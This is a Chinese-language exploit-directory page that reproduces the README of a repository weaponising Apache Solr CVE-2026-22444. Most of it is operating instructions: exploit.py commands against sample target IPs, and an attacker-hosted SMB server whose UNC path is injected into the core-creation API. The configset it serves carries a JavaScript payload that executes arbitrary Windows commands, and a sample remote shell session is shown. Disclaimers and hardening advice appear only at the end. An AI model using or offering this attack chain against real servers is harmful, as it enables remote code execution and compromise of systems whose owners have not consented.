Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22444 — 针对 Apache Solr CVE-2026-22444 的漏洞利用,通过恶意 configset 和 JavaScript 载荷,利用 UNC 路径注入和 SMB 服务器实现远程代码执行。 | Kitploit
工具/GitHubGitHub/bfdfhdsfdd-crypto/cve-2026-22444
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubbfdfhdsfdd-crypto/cve-2026-22444

CVE-2026-22444

针对 Apache Solr CVE-2026-22444 的漏洞利用,通过恶意 configset 和 JavaScript 载荷,利用 UNC 路径注入和 SMB 服务器实现远程代码执行。

查看仓库
658个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22444

Apache Solr UNC Path Validation Vulnerability

概述

CVE-2026-22444 是一个影响 Apache Solr 的安全漏洞,于 2026 年 1 月 20 日左右公开披露。该漏洞源于 Apache Solr 的 "create core" API 在某些 API 参数上的输入验证不足(CWE-20: Improper Input Validation),允许攻击者在 Solr 运行于 "standalone" 模式时绕过安全规则,可能导致数据泄露、远程代码执行 (RCE) 或 NTLM 哈希披露。

具体而言,如果 Solr 未启用认证或用户具有创建核心的权限,攻击者可以通过精心构造的请求滥用该 API 来访问受保护的文件或执行恶意操作。

披露信息

该漏洞于 2025 年被发现并报告给 Apache,并在 oss-security 邮件列表上公开披露:

官方公告: https://www.openwall.com/lists/oss-security/2026/01/20/5

技术细节

该漏洞存在于 CoreContainer.java 中,其中 CoreDescriptor 构造函数在执行 UNC 路径验证之前触发网络操作:

  • instancePath.toAbsolutePath() 可能通过网络解析 UNC 路径
  • Files.exists() 检查执行网络调用
  • Files.newInputStream() 执行网络读取
  • 通过 assertPathAllowed() 进行的路径验证仅在这些操作之后发生

时间线

  • 2025-08-20: 发现漏洞并报告给 Apache
  • 2026-01-20: 公开披露

仓库内容

  • exploit.py - 概念验证利用脚本
  • files/ - 利用所需的支持文件(configset)
    • rce.js - 远程代码执行 JavaScript payload
    • conf/ - Solr 配置文件
      • solrconfig.xml - 定义恶意更新处理器链
      • schema.xml - Solr schema 定义
      • managed-schema - 托管 schema 文件
  • requirements.txt - Python 依赖

使用说明

环境要求

  • Python 3.6+
  • 目标系统需运行 Apache Solr(Windows 系统,独立模式)
  • 目标 Solr 未启用身份验证,或攻击者具有创建核心的权限

安装依赖

pip install -r requirements.txt

依赖包括:

  • requests>=2.25.0 - 用于 HTTP 请求
  • impacket>=0.10.0 - 用于创建 SMB 服务器

基本使用

1. 基本攻击(自动检测本地IP)

python3 exploit.py <目标IP>

示例:

python3 exploit.py 192.168.1.100

2. 指定 Solr 端口

python3 exploit.py <目标IP> --port <端口>

示例:

python3 exploit.py 192.168.1.100 --port 8983

3. 指定 SMB 服务器配置

python3 exploit.py <目标IP> --smb-host <SMB服务器IP> --smb-port <SMB端口>

示例:

python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445

4. 自定义 SMB 共享名称

python3 exploit.py <目标IP> --share-name <共享名称>

示例:

python3 exploit.py 192.168.1.100 --share-name myshare

命令行参数说明

位置参数:
  target_host           目标 Solr 服务器 IP 地址

可选参数:
  -h, --help            显示帮助信息并退出
  --port, -p PORT       Solr 服务器端口(默认:8983)
  --smb-host SMB_HOST   SMB 服务器 IP(默认:自动检测本地 IP)
  --smb-port SMB_PORT   SMB 服务器端口(默认:445)
  --share-name SHARE    SMB 共享名称(默认:malicious)

攻击流程

  1. 启动 SMB 服务器:脚本会在本地启动一个 SMB 服务器,共享 files 目录
  2. 创建恶意 Core:向目标 Solr 发送 core 创建请求,指向 SMB 服务器上的恶意 configset
  3. 触发 Payload:Solr 会从 SMB 服务器下载配置文件,其中包含恶意 JavaScript 代码
  4. 执行命令:通过发送更新请求触发 JavaScript payload 执行
  5. 交互式 Shell:成功利用后,会进入交互式命令执行环境

交互式 Shell 使用

成功利用后,脚本会提供一个交互式 shell:

solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user

solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...

solr> exit
[*] exiting shell...

支持的命令:

  • 任何 Windows CMD 命令
  • exit 或 quit - 退出交互式 shell
  • Ctrl+C - 中断并退出

工作原理

该漏洞利用了以下技术链:

  1. UNC 路径注入:通过 configSet 参数注入 UNC 路径(例如 //attacker-ip/share)
  2. SMB 服务器:托管恶意 Solr 配置文件
  3. JavaScript RCE:利用 Solr 的 StatelessScriptUpdateProcessorFactory 执行 JavaScript 代码
  4. 命令执行:通过 Java Runtime API 在目标系统上执行任意命令

高级用法示例

完整参数示例

python3 exploit.py 192.168.35.31 \
  --port 8983 \
  --smb-host 192.168.35.50 \
  --smb-port 445 \
  --share-name exploit

文件结构说明

CVE-2026-22444/
├── exploit.py              # 主利用脚本
├── requirements.txt        # Python 依赖
├── files/                  # 恶意 configset
│   ├── rce.js             # RCE JavaScript payload
│   └── conf/              # Solr 配置目录
│       ├── solrconfig.xml # 配置恶意更新处理器
│       ├── schema.xml     # Schema 定义
│       └── managed-schema # 托管 schema
└── README.md              # 本文件

payload 说明

rce.js:这是核心 RCE payload,它会:

  • 拦截 Solr 的更新操作(add、delete、commit、rollback)
  • 从请求参数中获取 cmd 参数
  • 使用 Java Runtime API 执行命令
  • 捕获 stdout 和 stderr
  • 返回执行结果和退出代码

solrconfig.xml:配置 Solr 使用恶意的更新处理器链:

  • 定义 rce-chain 更新处理器链
  • 引用 rce.js 脚本
  • 将 /update 请求处理器设置为使用该链

注意事项

⚠️ 警告:此工具仅用于授权的安全测试和教育目的。未经授权使用此工具对系统进行攻击是非法的。

  • 确保在使用前获得明确的书面授权
  • 仅在测试环境或有合法授权的环境中使用
  • 不要在生产系统上使用,除非在受控的渗透测试环境中
  • 使用者需要对自己的行为负责

防护建议

  1. 升级 Solr:将 Apache Solr 升级到已修复该漏洞的版本
  2. 启用身份验证:确保 Solr 启用了强身份验证机制
  3. 限制 Core 创建权限:仅授予受信任的用户创建 core 的权限
  4. 网络隔离:将 Solr 部署在受保护的网络环境中
  5. 防火墙规则:限制对 Solr 管理接口的访问
  6. 监控异常活动:监控 UNC 路径访问和异常的 core 创建请求

参考链接

  • Apache Solr 官方网站
  • OSS Security 邮件列表公告
  • CWE-20: Improper Input Validation

许可证

本项目遵循 MIT 许可证。请参阅 LICENSE 文件了解详细信息。

免责声明

此工具和信息仅供安全研究和教育目的。作者不对因滥用此信息或工具而造成的任何损害负责。使用者应遵守所有适用的法律和法规,并在使用前获得适当的授权。

下载工具